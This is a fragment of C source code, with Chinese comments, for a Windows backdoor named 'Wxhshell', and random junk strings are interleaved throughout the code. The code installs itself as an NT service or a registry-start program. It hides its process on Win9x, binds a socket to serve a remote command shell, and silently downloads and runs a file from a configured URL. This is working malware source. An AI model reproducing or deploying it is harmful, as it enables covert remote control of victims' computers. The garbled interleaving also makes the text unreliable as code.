pbi.InheritedFromUniqueProcessId); AIRr{Y if(hProcess==NULL) return 0; .Cz %:%9 !bU\zH HMODULE hMod; z0bJ?~w, char procName[255]; ` ;)ZGY\ unsigned long cbNeeded; Jblj^n?Bm "i&"* ~ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k?6z_vu /6+NU^ CloseHandle(hProcess); r~7:daG* ? _g1*@pA if(strstr(procName,"services")) return 1; // 以服务启动 RJ4.
kt +jP~s return 0; // 注册表启动 tPfFqqT } ;V5yXNQ ~9\zWRh // 主模块 wJ+Aw
int StartWxhshell(LPSTR lpCmdLine) &miexSNeF { ]N{0:Va@D SOCKET wsl; E?)656F[ BOOL val=TRUE; ihCIh6 int port=0; Te,$M3| struct sockaddr_in door; z=7|{ G E=]4ctK if(wscfg.ws_autoins) Install(); MXD4|r( M*eJ
JY port=atoi(lpCmdLine); H%F>@(U o@bNpflb` if(port<=0) port=wscfg.ws_port; ^:=f^N=^ 28.~iw WSADATA data; ~b~2
>c9 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q'Wr[A40j 2&!bfq![ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; lfZ04M{2 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5ETip'<KT6 door.sin_family = AF_INET; J% H;%ROx door.sin_addr.s_addr = inet_addr("127.0.0.1"); Dnf*7)X door.sin_port = htons(port); 0\9K3 LwcIGhy if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m!tx(XsXU closesocket(wsl); Q Fm|-j return 1; {LHR!~d}5f } @%ip7Y]e 7R4z}2F2 if(listen(wsl,2) == INVALID_SOCKET) { j=?'4sF closesocket(wsl); aUHcYc\u return 1; }~K`/kvs } KJ2Pb"s Wxhshell(wsl); =3ioQZ^Vz WSACleanup(); #|GSQJ$F)` RwI[R)k return 0; 2dp>Z", Isy'{-H
} 0|&\'{ QqNW}:# // 以NT服务方式启动 $$APgj"|< VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
_A13[Mt3 { x<Vm5j DWORD status = 0; )a@k]#)Skm DWORD specificError = 0xfffffff; 2*"Fu:a"`I
X\$ 0 serviceStatus.dwServiceType = SERVICE_WIN32; )ut&@] serviceStatus.dwCurrentState = SERVICE_START_PENDING; A0Qb 5e serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .SWlp2!M5 serviceStatus.dwWin32ExitCode = 0; {;2PL^i serviceStatus.dwServiceSpecificExitCode = 0; wpN=,&! serviceStatus.dwCheckPoint = 0; 79;<_(Y serviceStatus.dwWaitHint = 0; @{25xTt 'dn]rV0(C hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2'w?\{}D if (hServiceStatusHandle==0) return; ?32&]iM
oW {tWf status = GetLastError(); ,y#Kv|R if (status!=NO_ERROR) +L;e^#>d { `x*Pof!Io serviceStatus.dwCurrentState = SERVICE_STOPPED; .6Pw|xu`Pw serviceStatus.dwCheckPoint = 0; %%[LKSTb serviceStatus.dwWaitHint = 0; a^I\ /&aw' serviceStatus.dwWin32ExitCode = status; cz8T serviceStatus.dwServiceSpecificExitCode = specificError; -Ps!LI{@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); )?anOD[ return; 0Qf,@^zL* } [M=7M}f; yb\_zE\ serviceStatus.dwCurrentState = SERVICE_RUNNING; _l89 serviceStatus.dwCheckPoint = 0; Pd_U7&w,5 serviceStatus.dwWaitHint = 0; kaVxT_ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qm/22:&v5 } Q+{xZ'o"Z ;DfY#- // 处理NT服务事件,比如:启动、停止 Ng2twfSl$ VOID WINAPI NTServiceHandler(DWORD fdwControl) iP ->S\ { nAsh:6${ switch(fdwControl)
iu=7O { )q8p k2 case SERVICE_CONTROL_STOP: qN9(S:_Px serviceStatus.dwWin32ExitCode = 0; f<d`B]$( serviceStatus.dwCurrentState = SERVICE_STOPPED; DEKP5?] serviceStatus.dwCheckPoint = 0; Nk?
^1n$ serviceStatus.dwWaitHint = 0; ?]_$Dcmx { Q{>+ft U SetServiceStatus(hServiceStatusHandle, &serviceStatus); /NI;P]s. } rr],DGg+B] return; +V ;l6D case SERVICE_CONTROL_PAUSE: PR#exm& serviceStatus.dwCurrentState = SERVICE_PAUSED; P64PPbP break; un mJbY;t case SERVICE_CONTROL_CONTINUE: a/4T>eC serviceStatus.dwCurrentState = SERVICE_RUNNING; l*Gvf_UH break; )l C)@H} case SERVICE_CONTROL_INTERROGATE: c <B/V0] break; _7Ju }; qZ}^;)a^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); C!<Ou6}!b } xX&+WR [6Izlh+D // 标准应用程序主函数 M6"PX *K int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #4<SAgq { ]g3JZF- y&$A+peJ1 // 获取操作系统版本 nV|EQs4( OsIsNt=GetOsVer(); lfow1WRF GetModuleFileName(NULL,ExeFile,MAX_PATH); Z"xvh81P q
'yva // 从命令行安装 Rsm^Z!sn if(strpbrk(lpCmdLine,"iI")) Install(); Jq-]7N%k/ 3qC}0CP* // 下载执行文件 W:2( .? if(wscfg.ws_downexe) { m.rmM` if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *~e?TfG WinExec(wscfg.ws_filenam,SW_HIDE); `4J$Et%S } $bR~+C 'o2Fa_|<# if(!OsIsNt) { %YscBG // 如果时win9x,隐藏进程并且设置为注册表启动 VscE ^'+ HideProc(); y dA8wL StartWxhshell(lpCmdLine); &K#M*B,*p } b2Fe<~S{ else %J?xRv! if(StartFromService()) x|Bf-kc[#Q // 以服务方式启动 &U#|uc!+ StartServiceCtrlDispatcher(DispatchTable); `*R:gE= else ! n@KU!&k // 普通方式启动 BX7kO0j StartWxhshell(lpCmdLine); X&`t{Id?6 aB&&YlR=n< return 0; IOmfF[ }
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